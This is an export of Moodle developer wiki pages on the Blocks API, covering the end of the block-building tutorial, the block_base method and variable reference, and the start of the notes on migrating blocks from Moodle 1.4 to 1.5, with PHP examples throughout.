(Hint: Do that in the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method.)

=== UPDATING: ===
Prior to version 1.5, the file ''config_global.html'' was named simply ''config.html''. Also, the methods [[Blocks_Howto#method_config_save| config_save]] and [[Blocks_Howto#method_config_print| config_print]] were named '''handle_config''' and '''print_config''' respectively. Upgrading a block to work with Moodle 1.5 involves updating these aspects; refer to [[Blocks_Howto#appendix_b| Appendix B]] for more information.

== Eye Candy ==

Our block is just about complete functionally, so now let's take a look at some of the tricks we can use to make its behavior customized in a few more useful ways.

First of all, there are a couple of ways we can adjust the visual aspects of our block. For starters, it might be useful to create a block that doesn't display a header (title) at all. You can see this effect in action in the Course Description block that comes with Moodle. This behavior is achieved by, you guessed it, adding one more method to our block class:

<code php>
function hide_header() {
return true;
}
</code>

One more note here: we cannot just set an empty title inside the block's [[Blocks/Appendix_A#init.28.29| init()]] method; it's necessary for each block to have a unique, non-empty title after [[Blocks/Appendix_A#init.28.29| init()]] is called so that Moodle can use those titles to differentiate between all of the installed blocks.

Another adjustment we might want to do is instruct our block to take up a certain amount of width on screen. Moodle handles this as a two-part process: first, it queries each block about its preferred width and takes the maximum number as the desired value. Then, the page that's being displayed can choose to use this value or, more probably, bring it within some specific range of values if it isn't already. That means that the width setting is a best-effort settlement; your block can ''request'' a certain width and Moodle will ''try'' to provide it, but there's no guarantee whatsoever about the end result. As a concrete example, all standard Moodle course formats will deliver any requested width between 180 and 210 pixels, inclusive.

To instruct Moodle about our block's preferred width, we add one more method to the block class:

<code php>
function preferred_width() {
// The preferred value is in pixels
return 200;
}
</code>

This will make our block (and all the other blocks displayed at the same side of the page) a bit wider than standard.

Finally, we can also affect some properties of the actual HTML that will be used to print our block. Each block is fully contained within a <table> element, inside which all the HTML for that block is printed. We can instruct Moodle to add HTML attributes with specific values to that container. This would be done to either a) directly affect the end result (if we say, assign bgcolor="black"), or b) give us freedom to customize the end result using CSS (this is in fact done by default as we'll see below).

The default behavior of this feature in our case will assign to our block's container the class HTML attribute with the value "sideblock block_simplehtml" (the prefix "block_" followed by the name of our block, lowercased). We can then use that class to make CSS selectors in our theme to alter this block's visual style (for example, ".sideblock.block_simplehtml { border: 1px black solid}").

To change the default behavior, we will need to define a method which returns an associative array of attribute names and values. For example, the version

<code php>
function html_attributes() {
return array(
'class' => 'sideblock block_'. $this->name(),
'onmouseover' => "alert('Mouseover on our block!');"
);
}
</code>

will result in a mouseover event being added to our block using JavaScript, just as if we had written the onmouseover="alert(...)" part ourselves in HTML. Note that we actually duplicate the part which sets the class attribute (we want to keep that, and since we override the default behavior it's our responsibility to emulate it if required).

And the final elegant touch is that we don't set the class to the hard-coded value "block_simplehtml" but instead use the [[Blocks/Appendix_A#name.28.29| name()]] method to make it dynamically match our block's name.

===and some other useful examples too:===
<code php>
function html_attributes() {
// Default case: an id with the instance and a class with our name in it
return array('id' => 'inst'.$this->instance->id, 'class' => 'block_'. $this->name());
}
</code>

This method should return an associative array of HTML attributes that will be given to your block's container element when Moodle constructs the output HTML. No sanitization will be performed in these elements at all.

If you intend to override this method, you should return the default attributes as well as those you add yourself. The recommended way to do this is:

<code php>
function html_attributes() {
$attrs = parent::html_attributes();
// Add your own attributes here, e.g.
// $attrs['width'] = '50%';
return $attrs;
}
</code>

== Authorized Personnel Only ==

It's not difficult to imagine a block which is very useful in some circumstances but it simply cannot be made meaningful in others. An example of this would be the "Social Activities" block which is indeed useful in a course with the social format, but doesn't do anything useful in a course with the weeks format. There should be some way of allowing the use of such blocks only where they are indeed meaningful, and not letting them confuse users if they are not.

Moodle allows us to declare which course formats each block is allowed to be displayed in, and enforces these restrictions as set by the block developers at all times. The information is given to Moodle as a standard associative array, with each key corresponding to a page format and defining a boolean value (true/false) that declares whether the block should be allowed to appear in that page format.

Notice the deliberate use of the term ''page'' instead of ''course'' in the above paragraph. This is because in Moodle 1.5 and onwards, blocks can be displayed in any page that supports them. The best example of such pages are the course pages, but we are not restricted to them. For instance, the quiz view page (the first one we see when we click on the name of the quiz) also supports blocks.

The format names we can use for the pages derive from the name of the script which is actually used to display that page. For example, when we are looking at a course, the script is <span class="filename">/course/view.php</span> (this is evident from the browser's address line). Thus, the format name of that page is '''course-view'''. It follows easily that the format name for a quiz view page is '''mod-quiz-view'''. This rule of thumb does have a few exceptions, however:

# The format name for the front page of Moodle is '''site-index'''.
# The format name for courses is actually not just '''course-view'''<nowiki>; it is </nowiki>'''course-view-weeks''', '''course-view-topics''', etc.
# Even though there is no such page, the format name '''all''' can be used as a catch-all option.

We can include as many format names as we want in our definition of the applicable formats. Each format can be allowed or disallowed, and there are also three more rules that help resolve the question "is this block allowed into this page or not?":

# Prefixes of a format name will match that format name; for example, '''mod''' will match all the activity modules. '''course-view''' will match any course, regardless of the course format. And finally, '''site''' will also match the front page (remember that its full format name is '''site-index''').
# The more specialized a format name that matches our page is, the higher precedence it has when deciding if the block will be allowed. For example, '''mod''', '''mod-quiz''' and '''mod-quiz-view''' all match the quiz view page. But if all three are present, '''mod-quiz-view''' will take precedence over the other two because it is a better match.
# The character '''<nowiki>*</nowiki>''' can be used in place of any word. For example, '''mod''' and '''mod-*''' are equivalent. At the time of this document's writing, there is no actual reason to utilize this "wildcard matching" feature, but it exists for future usage.
# The order that the format names appear does not make any difference.
All of the above are enough to make the situation sound complex, so let's look at some specific examples. First of all, to have our block appear '''only''' in the site front page, we would use:

<code php>
function applicable_formats() {
return array('site' => true);
}
</code>

Since '''all''' is missing, the block is disallowed from appearing in ''any'' course format; but then '''site''' is set to TRUE, so it's explicitly allowed to appear in the site front page (remember that '''site''' matches '''site-index''' because it's a prefix).

For another example, if we wanted to allow the block to appear in all course formats ''except'' social, and also to ''not'' be allowed anywhere but in courses, we would use:

<code php>
function applicable_formats() {
return array(
'course-view' => true,
'course-view-social' => false);
}
</code>

This time, we first allow the block to appear in all courses and then we explicitly disallow the social format.
For our final, most complicated example, suppose that a block can be displayed in the site front page, in courses (but not social courses) and also when we are viewing any activity module, ''except'' quiz. This would be:

<code php>
function applicable_formats() {
return array(
'site-index' => true,
'course-view' => true,
'course-view-social' => false,
'mod' => true,
'mod-quiz' => false
);
}
</code>

It is not difficult to realize that the above accomplishes the objective if we remember that there is a "best match" policy to determine the end result.

'''UPDATING:''' <br />
Prior to version 1.5, blocks were only allowed in courses (and in Moodle 1.4, in the site front page). Also, the keywords used to describe the valid course formats at the time were slightly different and had to be changed in order to allow for a more open architecture. Refer to [[Blocks/Appendix_B| Appendix B]] for more information on the changes that old blocks have to make to conform to the new standard.

== Lists and Icons ==

In this final part of the guide we will briefly discuss an additional capability of Moodle's block system, namely the ability to very easily create blocks that display a list of choices to the user. This list is displayed with one item per line, and an optional image (icon) next to the item. An example of such a ''list block'' is the standard Moodle "admin" block, which illustrates all the points discussed in this section.

As we have seen so far, blocks use two properties of [[Blocks/Appendix_A#.24this-.3Econtent| $this->content]]: "text" and "footer". The text is displayed as-is as the block content, and the footer is displayed below the content in a smaller font size. List blocks use $this->content->footer in the exact same way, but they ignore $this->content->text.

Instead, Moodle expects such blocks to set two other properties when the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method is called: $this->content->items and $this->content->icons. $this->content->items should be a numerically indexed array containing elements that represent the HTML for each item in the list that is going to be displayed. Usually these items will be HTML anchor tags which provide links to some page. $this->content->icons should also be a numerically indexed array, with exactly as many items as $this->content->items has. Each of these items should be a fully qualified HTML <img> tag, with "src", "height", "width" and "alt" attributes. Obviously, it makes sense to keep the images small and of a uniform size.

In order to tell Moodle that we want to have a list block instead of the standard text block, we need to make a small change to our block class declaration. Instead of extending class '''block_base''', our block will extend class '''block_list'''. For example:

<code php>
class block_my_menu extends block_list {
// The init() method does not need to change at all
}
</code>

In addition to making this change, we must of course also modify the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method to construct the [[Blocks/Appendix_A#.24this-.3Econtent| $this->content]] variable as discussed above:

<code php>
function get_content() {
if ($this->content !== null) {
return $this->content;
}

$this->content = new stdClass;
$this->content->items = array();
$this->content->icons = array();
$this->content->footer = 'Footer here...';

$this->content->items[] = '<a href="some_file.php">Menu Option 1</a>';
$this->content->icons[] = '<img src="images/icons/1.gif" class="icon" alt="" />';

// Add more list items here

return $this->content;
}
</code>

To summarize, if we want to create a list block instead of a text block, we just need to change the block class declaration and the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method. Adding the mandatory [[Blocks/Appendix_A#init.28.29| init()]] method as discussed earlier will then give us our first list block in no time!

[[#top|Back to top of page]]

== See also ==
[http://dev.moodle.org/mod/resource/view.php?id=48 Unit 7 of the Introduction to Moodle Programming course] is a follow up to this course. (But you should follow the forum discussions of that course closely as there are still some bugs and inconsistencies.)

== Appendices ==

The appendices have been moved to separate pages:

* Appendix A: [[Blocks/Appendix A|''block_base'' Reference]]
* Appendix B: [[Blocks/Appendix B|Differences in the Blocks API for Moodle Versions prior to 1.5]]
* Appendix C: [[Blocks/Appendix C|Creating Database Tables for Blocks (prior to 1.7)]]

[[Category:Blocks]]
[[Category:Tutorial]]

[[es:Desarrollo de bloques]]
[[ja:開発:ブロック]]

Blocks/Appendix A

2009-08-22T16:53:23Z

Mits: ja link

== Appendix A: ''block_base'' Reference ==

This Appendix will discuss the base class '''block_base''' from which all other block classes derive, and present each and every method that can be overridden by block developers in detail. Methods that should '''not''' be overridden are explicitly referred to as such. After reading this Appendix, you will have a clear understanding of every method which you should or could override to implement functionality for your block.

The methods are divided into three categories: those you may use and override in your block, those that you may '''not''' override but might want to use, and those internal methods that should '''neither''' be used '''nor''' overridden. In each category, methods are presented in alphabetical order.

== Methods you can freely use and override: ==

=== after_install() ===

<code php>
function after_install() {
}
</code>

Available in Moodle 1.7 and later

This method is designed to be overridden by block subclasses, and allows you to specify a set of tasks to be executed after the block is installed. For example, you may wish to store the date on which the block was installed. However, each database type has its own way of getting the current date, and when using XMLDB to install your block, these operations are also unsupported. So the best way to complete such a task while maintaining database abstraction is to use XMLDB to install the block, and then use the after_install() method to perform the insertion before the block is used.

Please note that after_install() is called once per block, not once per instance.

=== applicable_formats() ===

<code php>
function applicable_formats() {
// Default case: the block can be used in courses and site index, but not in activities
return array(
'all' => true,
'mod' => false,
);
}
</code>

Available in Moodle 1.5 and later

This method allows you to control which pages your block can be added to. Page formats are formulated from the full path of the script that is used to display that page. You should return an array with the keys being page format names and the values being booleans (true or false). Your block is only allowed to appear in those formats where the value is true.
Example format names are: '''course-view''', '''site-index''' (this is an exception, referring front page of the Moodle site), '''course-format-weeks''' (referring to a specific course format), '''mod-quiz''' (referring to the quiz module) and '''all''' (this will be used for those formats you have not explicitly allowed or disallowed).

The full matching rules are:

# Prefixes of a format name will match that format name; for example, '''mod''' will match all the activity modules. '''course-view''' will match any course, regardless of the course format. And finally, '''site''' will also match the front page (remember that its full format name is '''site-index''').
# The more specialized a format name that matches our page is, the higher precedence it has when deciding if the block will be allowed. For example, '''mod''', '''mod-quiz''' and '''mod-quiz-view''' all match the quiz view page. But if all three are present, '''mod-quiz-view''' will take precedence over the other two because it is a better match.
# The character '''<nowiki>*</nowiki>''' can be used in place of any word. For example, '''mod''' and '''mod-*''' are equivalent. At the time of this document's writing, there is no actual reason to utilize this "wildcard matching" feature, but it exists for future usage.
# The order that the format names appear does not make any difference.

=== before_delete() ===

<code php>
function before_delete() {
}
</code>

Available in Moodle 1.7 and later

This method is called when an administrator removes a block from the Moodle installation, immediately before the relevant database tables are deleted. It allows block authors to perform any necessary cleanup - removing temporary files and so on - before the block is deleted.

=== config_print() ===

<code php>
function config_print() {
// Default behavior: print the config_global.html file
// You don't need to override this if you're satisfied with the above
if (!$this->has_config()) {
return FALSE;
}
global $CFG, $THEME;

print_simple_box_start('center', '', $THEME->cellheading);
include($CFG->dirroot.'/blocks/'. $this->name() .'/config_global.html');
print_simple_box_end();
return TRUE;
}
</code>

Available in Moodle 1.5 and later

This method allows you to choose how to display the global configuration screen for your block. This is the screen that the administrator is presented with when he chooses "Settings..." for a specific block. Override it if you need something much more complex than the default implementation allows you to do. However, keep these points in mind:

* If you save your configuration options in $CFG, you will probably need to use global $CFG; before including any HTML configuration screens.
* The HTML <input> elements that you include in your method's output will be automatically enclosed in a <form> element. You do not need to worry about where and how that form is submitted; however, you '''must''' provide a way to submit it (i.e., an <input type="submit" />.
You should return a boolean value denoting the success or failure of your method's actions.

=== config_save() ===

<code php>
function config_save($data) {
// Default behaviour: save all variables as $CFG properties
// You don't need to override this if you 're satisfied with the above
foreach ($data as $name => $value) {
set_config($name, $value);
}
return TRUE;
}
</code>

Available in Moodle 1.5 and later

This method allows you to override the storage mechanism for your global configuration data. The received argument is an associative array, with the keys being setting names and the values being setting values. The default implementation saves everything as Moodle $CFG variables.
Note that $data does not hold all of the submitted POST data because Moodle adds some hidden fields to the form in order to be able to process it. However, before calling this method it strips the hidden fields from the received data and so when this method is called only the "real" configuration data remain.

You should return a boolean value denoting the success or failure of your method's actions.

=== get_content() ===

<code php>
function get_content() {
// This should be implemented by the derived class.
return NULL;
}
</code>

Available in Moodle 1.5 and later

This method should, when called, populate the [[Blocks_Howto#variable_content| $this->content]] variable of your block. Populating the variable means:

'''EITHER'''<br />
defining $this->content->text and $this->content->footer if your block derives from '''block_base'''. Both of these should be strings, and can contain arbitrary HTML.

'''OR'''<br />
defining $this->content->items, $this->content->icons and $this->content->footer if your block derives from '''block_list'''. The first two should be numerically indexed arrays having the exact same number of elements. $this->content->items is an array of strings that can contain arbitrary HTML while $this->content->icons also contains should strings, but those must be fully-qualified HTML <img> tags '''and nothing else'''. $this->content->footer is a string, as above.

If you set ''all'' of these variables to their default "empty" values (empty arrays for the arrays and empty strings for the strings), the block will '''not''' be displayed at all except to editing users. This is a good way of having your block hide itself to unclutter the screen if there is no reason to have it displayed.

Before starting to populate [[Blocks_Howto#variable_content| $this->content]], you should also include a simple caching check. If [[Blocks_Howto#variable_content| $this->content]] is exactly equal to NULL then proceed as normally, while if it is not, return the existing value instead of calculating it once more. If you fail to do this, Moodle will suffer a performance hit.

In any case, your method should return the fully constructed [[Blocks_Howto#variable_content| $this->content]] variable.

=== has_config() ===

<code php>
function has_config() {
return FALSE;
}
</code>

Available in Moodle 1.5 and later

This method should return a boolean value that denotes whether your block wants to present a configuration interface to site admins or not. The configuration that this interface offers will impact all instances of the block equally.
To actually implement the configuration interface, you will either need to rely on the default [[Blocks_Howto#method_instance_config_print| config_print]] method or override it. The full guide contains [[Blocks_Howto#section_effects_of_globalization| more information on this]].

=== hide_header() ===

<code php>
function hide_header() {
//Default, false--> the header is shown
return FALSE;
}
</code>

Available in Moodle 1.5 and later

This method should return a boolean value that denotes whether your block wants to hide its header (or title). Thus, if you override it to return true, your block will not display a title unless the current user is in editing mode.

=== html_attributes() ===

<code php>
function html_attributes() {
// Default case: an id with the instance and a class with our name in it
return array('id' => 'inst'.$this->instance->id, 'class' => 'block_'. $this->name());
}
</code>

Available in Moodle 1.5 and later

This method should return an associative array of HTML attributes that will be given to your block's container element when Moodle constructs the output HTML. No sanitization will be performed in these elements at all.

If you intend to override this method, you should return the default attributes as well as those you add yourself. The recommended way to do this is:

<code php>
function html_attributes() {
$attrs = parent::html_attributes();
// Add your own attributes here, e.g.
// $attrs['width'] = '50%';
return $attrs;
}
</code>

=== init() ===

<code php>
function init() {
$this->title = get_string('simplehtml', 'block_simplehtml');
$this->version = 2004111200;
}
</code>

Available in Moodle 1.5 and later

This method must be implemented for all blocks. It has to assign meaningful values to the object variables [[Blocks_Howto#variable_title| $this->title]] and [[Blocks_Howto#variable_version| $this->version]] (which is used by Moodle for performing automatic updates when available).

No return value is expected from this method.

=== instance_allow_config() ===

<code php>
function instance_allow_config() {
return FALSE;
}
</code>

Available in Moodle 1.5 and later

This method should return a boolean value. True indicates that your block wants to have per-instance configuration, while false means it does not. If you do want to implement instance configuration, you will need to take some additional steps apart from overriding this method; refer to the full guide for [[Blocks_Howto#section_configure_that_out| more information]].

This method's return value is irrelevant if [[Blocks_Howto#method_instance_allow_multiple| instance_allow_multiple]] returns true; it is assumed that if you want multiple instances then each instance needs its own configuration.

=== instance_allow_multiple() ===

<code php>
function instance_allow_multiple() {
// Are you going to allow multiple instances of each block?
// If yes, then it is assumed that the block WILL USE per-instance configuration
return FALSE;
}
</code>

Available in Moodle 1.5 and later

This method should return a boolean value, indicating whether you want to allow multiple instances of this block in the same page or not. If you do allow multiple instances, it is assumed that you will also be providing per-instance configuration for the block. Thus, you will need to take some additional steps apart from overriding this method; refer to the full guide for [[Blocks_Howto#section_configure_that_out| more information]].

=== instance_config_print() ===

<code php>
function instance_config_print() {
// Default behavior: print the config_instance.html file
// You don't need to override this if you're satisfied with the above
if (!$this->instance_allow_multiple() && !$this->instance_allow_config()) {
return FALSE;
}
global $CFG, $THEME;

if (is_file($CFG->dirroot .'/blocks/'. $this->name() .'/config_instance.html')) {
print_simple_box_start('center', '', $THEME->cellheading);
include($CFG->dirroot .'/blocks/'. $this->name() .'/config_instance.html');
print_simple_box_end();
} else {
notice(get_string('blockconfigbad'),
str_replace('blockaction=', 'dummy=', qualified_me()));
}
return TRUE;
}
</code>

Available in Moodle 1.5 and later

This method allows you to choose how to display the instance configuration screen for your block. Override it if you need something much more complex than the default implementation allows you to do. Keep in mind that whatever you do output from [[Blocks_Howto#method_instance_config_print| config_print]], it will be enclosed in a HTML form automatically. You only need to provide a way to submit that form.

You should return a boolean value denoting the success or failure of your method's actions.

=== instance_config_save() ===

<code php>
function instance_config_save($data) {
$data = stripslashes_recursive($data);
$this->config = $data;
return set_field('block_instance', 'configdata', base64_encode(serialize($data)),
'id', $this->instance->id);
}
</code>

Available in Moodle 1.5 and later

This method allows you to override the storage mechanism for your instance configuration data. The received argument is an associative array, with the keys being setting names and the values being setting values.

The configuration must be stored in the "configdata" field of your instance record in the database so that Moodle can auto-load it when your block is constructed. However, you may still want to override this method if you need to take some additional action apart from saving the data. In that case, you really should do what data processing you want and then call parent::instance_config_save($data) with your new $data array. This will keep your block from becoming broken if the default implementation of instance_config_save changes in the future.

Note that $data does not hold all of the submitted POST data because Moodle adds some hidden fields to the form in order to be able to process it. However, before calling this method it strips the hidden fields from the received data and so when this method is called only the "real" configuration data remain.

If you want to update the stored copy of the configuration data at run time (for example to persist some changes you made programmatically), you should not use this method. The correct procedure for that purpose is to call [[Blocks_Howto#method_instance_config_commit| instance_config_commit]].

You should return a boolean value denoting the success or failure of your method's actions.

=== preferred_width() ===

<code php>
function preferred_width() {
// Default case: the block wants to be 180 pixels wide
return 180;
}
</code>

Available in Moodle 1.5 and later

This method should return an integer value, which is the number of pixels of width your block wants to take up when displayed. Moodle will try to honor your request, but this is actually up to the implementation of the format of the page your block is being displayed in and therefore no guarantee is given. You might get exactly what you want or any other width the format decides to give you, although obviously an effort to accomodate your block will be made.

Most display logic at this point allocates the maximum width requested by the blocks that are going to be displayed, bounding it both downwards and upwards to avoid having a bad-behaving block break the format.

=== refresh_content() ===

<code php>
function refresh_content() {
// Nothing special here, depends on content()
$this->content = NULL;
return $this->get_content();
}
</code>

Available in Moodle 1.5 and later

This method should cause your block to recalculate its content immediately. If you follow the guidelines for [[Blocks_Howto#get_content| get_content]], which say to respect the current content value unless it is NULL, then the default implementation will do the job just fine.
You should return the new value of [[Blocks_Howto#variable_content| $this->content]] after refreshing it.

=== specialization() ===

<code php>
function specialization() {
// Just to make sure that this method exists.
}
</code>

Available in Moodle 1.5 and later

This method is automatically called by the framework immediately after your instance data (which includes the page type and id and all instance configuration data) is loaded from the database. If there is some action that you need to take as soon as this data becomes available and which cannot be taken earlier, you should override this method.

The instance data will be available in the variables [[Blocks_Howto#variable_instance| $this->instance]] and [[Blocks_Howto#variable_config| $this->config]].

This method should not return anything at all.

== Methods which you should ''not'' override but may want to use: ==

=== get_content_type() ===

<code php>
function get_content_type() {
return $this->content_type;
}
</code>

Available in Moodle 1.5 and later

This method returns the value of [[Blocks_Howto#variable_content_type| $this->content_type]], and is the preferred way of accessing that variable. It is guaranteed to always work, now and forever. Directly accessing the variable is '''not recommended'''<nowiki>; future library changes may break compatibility with code that does so.</nowiki>

=== get_title() ===

<code php>
function get_title() {
return $this->title;
}
</code>

Available in Moodle 1.5 and later

This method returns the value of [[Blocks_Howto#variable_title| $this->title]], and is the preferred way of accessing that variable. It is guaranteed to always work, now and forever. Directly accessing the variable is '''not recommended'''<nowiki>; future library changes may break compatibility with code that does so.</nowiki>

=== get_version() ===

<code php>function get_version() {
return $this->version;
}
</code>

Available in Moodle 1.5 and later

This method returns the value of [[Blocks_Howto#variable_version| $this->version]], and is the preferred way of accessing that variable. It is guaranteed to always work, now and forever. Directly accessing the variable is '''not recommended'''<nowiki>; future library changes may break compatibility with code that does so.</nowiki>

=== instance_config_commit() ===

<code php>
function instance_config_commit() {
return set_field('block_instance','configdata', base64_encode(serialize($this->config)), 'id', $this->instance->id);
}
</code>

Available in Moodle 1.5 and later

This method saves the current contents of [[Blocks_Howto#variable_config| $this->config]] to the database. If you need to make a change to the configuration settings of a block instance at run time (and not through the usual avenue of letting the user change it), just make the changes you want to [[Blocks_Howto#variable_config| $this->config]] and then call this method.

=== is_empty() ===

For blocks that extend class '''block_base'''<nowiki>:</nowiki>

<code php>
function is_empty() {
$this->get_content();
return(empty($this->content->text) && empty($this->content->footer));
}
</code>

Available in Moodle 1.5 and later

For blocks that extend class '''block_list'''<nowiki>:</nowiki>

<code php>
function is_empty() {
$this->get_content();
return (empty($this->content->items) && empty($this->content->footer));
}
</code>

This method returns the a boolean true/false value, depending on whether the block has any content at all to display. Blocks without content are not displayed by the framework.

=== name() ===

<code php>
function name() {
static $myname;
if ($myname === NULL) {
$myname = strtolower(get_class($this));
$myname = substr($myname, strpos($myname, '_') + 1);
}
return $myname;
}
</code>

Available in Moodle 1.5 and later

This method returns the internal name of your block inside Moodle, without the '''block_''' prefix. Obtaining the name of a block object is sometimes useful because it can be used to write code that is agnostic to the actual block's name (and thus more generic and reusable). For an example of this technique, see the [[Blocks_Howto#method_config_print| config_print]] method.

== Methods which you should ''not'' override and ''not'' use at all: ==

=== _add_edit_controls() ===
This is a private method; no description is given.

=== _load_instance() ===
This is a private method; no description is given.

=== _print_block() ===
This is a private method; no description is given.

=== _print_shadow() ===
This is a private method; no description is given.

=== _self_test() ===
This is a private method; no description is given.

The class '''block_base''' also has a few standard member variables which its methods manipulate. These variables, the purpose of each and the type of data they are expected to hold is explained in the next section of this Appendix.

== Class variables: ==

=== $this->config ===

This variable holds all the specialized instance configuration data that have been provided for this specific block instance (object). It is an object of type stdClass, with member variables directly corresponding to the HTML <input> elements in the block's <span class="filename">config_instance.html</span> file.

The variable is initialized just after the block object is constructed, immediately before [[Blocks_Howto#method_specialization| specialization]] is called for the object. It is possible that the block has no instance configuration, in which case the variable will be NULL.

It is obvious that there is a direct relationship between this variable and the configdata field in the mdl_block_instance table. However, it is ''strongly'' advised that you refrain from accessing the configdata field yourself. If you absolutely must update its value at any time, it is recommended that you call the method [[Blocks_Howto#method_instance_config_commit| instance_config_commit]] to do the actual work.

=== $this->content ===

This variable holds all the actual content that is displayed inside each block. Valid values for it are either NULL or an object of class stdClass, which must have specific member variables set as explained below. Normally, it begins life with a value of NULL and it becomes fully constructed (i.e., an object) when [[Blocks_Howto#method_get_content| get_content]] is called.

After it is fully constructed, this object is expected to have certain properties, depending on the value of [[Blocks_Howto#variable_content_type| $this->content_type]].

Specifically:

* If [[Blocks_Howto#variable_content_type| $this->content_type]] is [[Blocks_Howto#constant_block_type_text| BLOCK_TYPE_TEXT]], then [[Blocks_Howto#variable_content| $this->content]] is expected to have the following member variables:

# '''text''' This is a string of arbitrary length and content. It is displayed inside the main area of the block, and can contain HTML.
# '''footer''' This is a string of arbitrary length and contents. It is displayed below the text, using a smaller font size. It can also contain HTML.

* If [[Blocks_Howto#variable_content_type| $this->content_type]] is [[Blocks_Howto#constant_block_type_list| BLOCK_TYPE_LIST]], then [[Blocks_Howto#variable_content| $this->content]] is expected to have the following member variables:

# '''items''' This is a numerically indexed array of strings which holds the title for each item in the list that will be displayed in the block's area. Since usually such lists function like menus, the title for each item is normally a fully qualified HTML <a> tag.
# '''icons''' This is a numerically indexed array of strings which represent the images displayed before each item of the list. It therefore follows that it should have the exact number of elements as the items member variable. Each item in this array should be a fully qualified HTML <img> tag.
# '''footer''' This is a string of arbitrary length and contents. It is displayed below the text, using a smaller font size. It can also contain HTML.

=== $this->content_type ===

This variable instructs Moodle on what type of content it should assume the block has, and is used to differentiate text blocks from list blocks. It is essential that it has a meaningful value, as Moodle depends on this for correctly displaying the block on screen. Consequently, this variable is closely tied with the variable [[Blocks_Howto#variable_content| $this->content]]. The variable is expected to have a valid value after the framework calls the [[Blocks_Howto#method_init| init]] method for each block.

The only valid values for this variable are the two named constants [[Blocks_Howto#constant_block_type_text| BLOCK_TYPE_TEXT]] and [[Blocks_Howto#constant_block_type_list| BLOCK_TYPE_LIST]].

=== $this->instance ===

This member variable holds all the specific information that differentiates one block instance (i.e., the PHP object that embodies it) from another. It is an object of type stdClass retrieved by calling get_record on the table mdl_block_instance. Its member variables, then, directly correspond to the fields of that table. It is initialized immediately after the block object itself is constructed.

=== $this->title ===

This variable is a string that contains the human-readable name of the block. It is used to refer to blocks of that type throughout Moodle, for example in the administrator's block configuration screen and in the editing teacher's add block menu. It is also the title that is printed when the block is displayed on screen, although blocks can specifically change this title to something else if they wish (see below). The variable is expected to have a valid value after the framework calls the [[Blocks_Howto#method_init| init]] method for each object.

In the case of blocks which may want to configure their title dynamically through instance configuration, it is still essential to provide a valid title inside [[Blocks_Howto#method_init| init]]. This title may then be overridden when the [[Blocks_Howto#method_specialization| specialization]] method is called by the framework:

<code php>
function specialization() {
// At this point, $this->instance and $this->config are available
// for use. We can now change the title to whatever we want.
$this->title = $this->config->variable_holding_the_title;
}
</code>

A lot of blocks seem to use

<code php>
$this->title = get_string('blockname', ... );
</code>

to set the title of the block (and then put a more specific title inside the language file).

If there is no proper language string, the title of the block will then be set to ''blockname''. If there is another block with the same generic title, then an error will show up: Naming conflict.

To avoid this error on installations with missing language strings, use a more specific name when calling the language string...

<code php>
$this->title = get_string('simplehtml', ... );
</code>

That way all blocks will show up with a unique title in the admin area, even if people have not yet succeeded in placing language files in the correct location

=== $this->version ===

This variable should hold each block's version number in the form '''YYYYMMDDXX''', as per the convention throughout Moodle. The version number is used by Moodle to detect when a block has been upgraded and it consequently needs to run the block's upgrade code to bring the "old" version of the block's data up to date. The variable is expected to have a valid value after the framework calls the [[Blocks_Howto#method_init| init]] method for each block.

Most blocks do not keep complex data of their own in the database the way that modules do, so in most cases nothing actually happens during a block version upgrade. However, the version number is displayed in the administration interface for blocks. It is good practice therefore to change your block's version number when it gains new functionality or receives important bug fixes, to enable site administrators to easily identify the exact version of the block they are working with.

== Named constants: ==

Appearing throughout the code related to the Blocks API, there is a number of predefined constants that are utilized to avoid the use of "magic numbers" in the code. These constants are:

=== BLOCK_TYPE_LIST ===

This is one of the two valid values for the [[Blocks_Howto#variable_content_type| $this->content_type]] member variable of every block. Its value specifies the exact requirements that Moodle will then have for [[Blocks_Howto#variable_content| $this->content]].

=== BLOCK_TYPE_TEXT ===
This is one of the two valid values for the [[Blocks_Howto#variable_content_type| $this->content_type]] member variable of every block. Its value specifies the exact requirements that Moodle will then have for [[Blocks_Howto#variable_content| $this->content]].

[[Category:Blocks]]
[[Category:Tutorial]]

[[es:Desarrollo de bloques]]
[[ja:開発:ブロック/付録A]]

Blocks/Appendix B

2009-06-21T15:54:47Z

Mits: ja link

== Differences in the Blocks API for Moodle versions prior to 1.5 ==

This Appendix will discuss what changes in the Blocks API were introduced by Moodle 1.5 and what steps developers need to take to update their blocks to be fully compatible with Moodle 1.5. Unfortunately, with these changes backward compatibility is broken; this means that blocks from Moodle 1.4 will never work with 1.5 and vice versa.

=== Class naming conventions changed ===
In Moodle 1.4, all block classes were required to have a name like '''CourseBlock_something''' and the base class from which the derived was '''MoodleBlock'''. This has changed in Moodle 1.5, to bring the naming conventions in line with other object-oriented aspects of Moodle (for example there are classes enrolment_base, resource_base etc). The new block classes should instead be named like '''block_something''' and derive from '''block_base'''. This means that in order to make a block compatible with Moodle 1.5, you need to change the class definition

<code php>
class CourseBlock_online_users extends MoodleBlock { ... }
</code>

to

<code php>
class block_online_users extends block_base { ... }
</code>

An exception to the above is the special case where the block is intended to display a list of items instead of arbitrary text; in this case the block class must derive from class '''block_list''' instead, like this:

<code php>
class block_admin extends block_list { ... }
</code>

=== Constructor versus ''init()'' ===

In Moodle 1.4, in each block class it was mandatory to define a constructor which accepted a course data record as an argument (the example is from the actual Online Users block):

<code php>
function CourseBlock_online_users ($course) {
$this->title = get_string('blockname','block_online_users');
$this->content_type = BLOCK_TYPE_TEXT;
$this->course = $course;
$this->version = 2004052700;
}
</code>

In contrast, Moodle 1.5 does away with the constructor and instead requires you to define an [[Blocks/Appendix_A#init.28.29| init()]] method that takes no arguments:

<code php>
function init() {
$this->title = get_string('blockname','block_online_users');
$this->version = 2004111600;
}
</code>

Of course, this leaves you without access to the $course object, which you might actually need. Since that's probably going to be needed inside [[Blocks/Appendix_A#get_content.28.29| get_content()]], the way to retrieve it is by using this code:

<code php>
$course = get_record('course', 'id', $this->instance->pageid);
</code>

If you are going to need access to $course from inside other methods in addition to [[Blocks/Appendix_A#get_content.28.29| get_content()]], you might fetch the $course object inside the [[Blocks/Appendix_A#specialization.28.29| specialization()]] method and save it as a class variable for later use, in order to avoid executing the same query multiple times:

<code php>
function specialization() {
$this->course = get_record('course', 'id', $this->instance->pageid);
}
</code>

=== Blocks with configuration ===

